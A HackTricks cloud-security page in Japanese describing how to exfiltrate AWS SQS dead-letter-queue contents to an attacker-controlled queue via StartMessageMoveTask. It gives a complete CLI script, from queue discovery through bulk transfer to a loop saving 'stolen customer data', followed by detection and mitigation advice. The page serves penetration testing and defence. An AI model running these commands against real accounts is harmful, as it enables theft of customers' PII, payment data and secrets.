AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

説明

SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積された全メッセージを sqs:StartMessageMoveTask を使って攻撃者管理のキューへリダイレクトし盗み出す手法です。この手法は AWS の正当なメッセージ回復機能を利用して、DLQ に時間とともに蓄積された機密データを exfiltrate します。

Dead-Letter Queue (DLQ) とは?

Dead-Letter Queue は、メインアプリケーションがメッセージを正常に処理できなかった際に自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:

  • 処理できなかった機密なアプリケーションデータ
  • エラーの詳細やデバッグ情報
  • Personal Identifiable Information (PII)
  • API トークン、認証情報、その他のシークレット
  • 業務上重要なトランザクションデータ

DLQ は失敗したメッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値のあるターゲットになります。

攻撃シナリオ

実世界の例:

  1. E-commerce アプリケーション が SQS を介して顧客注文を処理している
  2. 一部の注文が失敗する(支払い問題、在庫問題など)ため DLQ に移動される
  3. DLQ に数週間〜数か月分の失敗した注文が蓄積される — 例: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. 攻撃者が AWS 資格情報を奪取し、SQS の権限を得る
  5. 攻撃者が DLQ に数千件の機密データがあることを発見する
  6. 個々のメッセージにアクセスしようとする代わりに(遅く目立つため)、攻撃者は StartMessageMoveTask を使ってすべてのメッセージを自分のキューへ一括転送する
  7. 攻撃者は一度に すべての過去の機密データを抽出する

要件

  • ソースキューは DLQ として構成されている(少なくとも1つのキューの RedrivePolicy から参照されていること)。
  • IAM 権限(侵害された被害者プリンシパルで実行):
  • ソース(DLQ)上: sqs:StartMessageMoveTask, sqs:GetQueueAttributes
  • 送信先キュー上: メッセージ配信の許可(例: 被害者プリンシパルからの sqs:SendMessage を許可するキューポリシー)。同一アカウント内の送信先では通常デフォルトで許可されていることが多い。
  • SSE-KMS が有効な場合: ソース CMK に対する kms:Decrypt、送信先 CMK に対する kms:GenerateDataKey, kms:Encrypt

影響

潜在的影響: ネイティブな SQS API を使って DLQ に蓄積された機密ペイロード(失敗イベント、PII、トークン、アプリケーションペイロードなど)を高速に exfiltrate できる。送信先キューポリシーが被害者プリンシパルからの SendMessage を許可していれば、クロスアカウントでも動作する。

悪用手順

  • 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する(どのキューでも可)。
  • 攻撃者が管理する送信先キューを作成または選択し、その ARN を取得する。
  • 被害者 DLQ から送信先キューへの message move task を開始する。
  • 進捗を監視するか、必要に応じてキャンセルする。

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: 攻撃者が AWS 資格情報を奪取し、e-commerce アプリケーションが SQS を使用しており、失敗した顧客注文処理が含まれる DLQ を持っていることを発見したケース。

  1. 被害者の DLQ を発見して調査する
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
  1. 攻撃者が制御する宛先キューを作成する
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. 大量メッセージの窃取を実行する
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. 盗まれた機密データを収集する
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

クロスアカウントの注意点

  • 宛先キューは、被害者プリンシパルが sqs:SendMessage を実行できるようにするリソースポリシー(および、使用する場合は KMS の付与/権限)を持っている必要があります。

なぜこの攻撃が効果的か

  1. 正規の AWS 機能: 組み込みの AWS 機能を利用するため、悪意あるものとして検出されにくい
  2. 大量操作: 個別に遅くアクセスする代わりに、何千ものメッセージを短時間で転送できる
  3. 履歴データ: DLQ は数週間〜数ヶ月にわたって機密データを蓄積する
  4. 見過ごされやすい: 多くの組織は DLQ へのアクセスを厳密に監視していない
  5. クロスアカウント可能: 権限があれば攻撃者自身の AWS アカウントへデータを持ち出すことができる

検出と防止

検出

疑わしい StartMessageMoveTask API コールを CloudTrail で監視する:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

対策

  1. 最小権限: 必要なロールのみにsqs:StartMessageMoveTask権限を制限する
  2. DLQsの監視: DLQsの異常なアクティビティに対してCloudWatchアラームを設定する
  3. クロスアカウントポリシー: クロスアカウントアクセスを許可するSQSキューのポリシーを慎重に確認する
  4. DLQsの暗号化: 制限されたキー・ポリシーを持つSSE-KMSを使用する
  5. 定期的なクリーンアップ: 機密データがDLQsに無期限に蓄積されないようにする

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする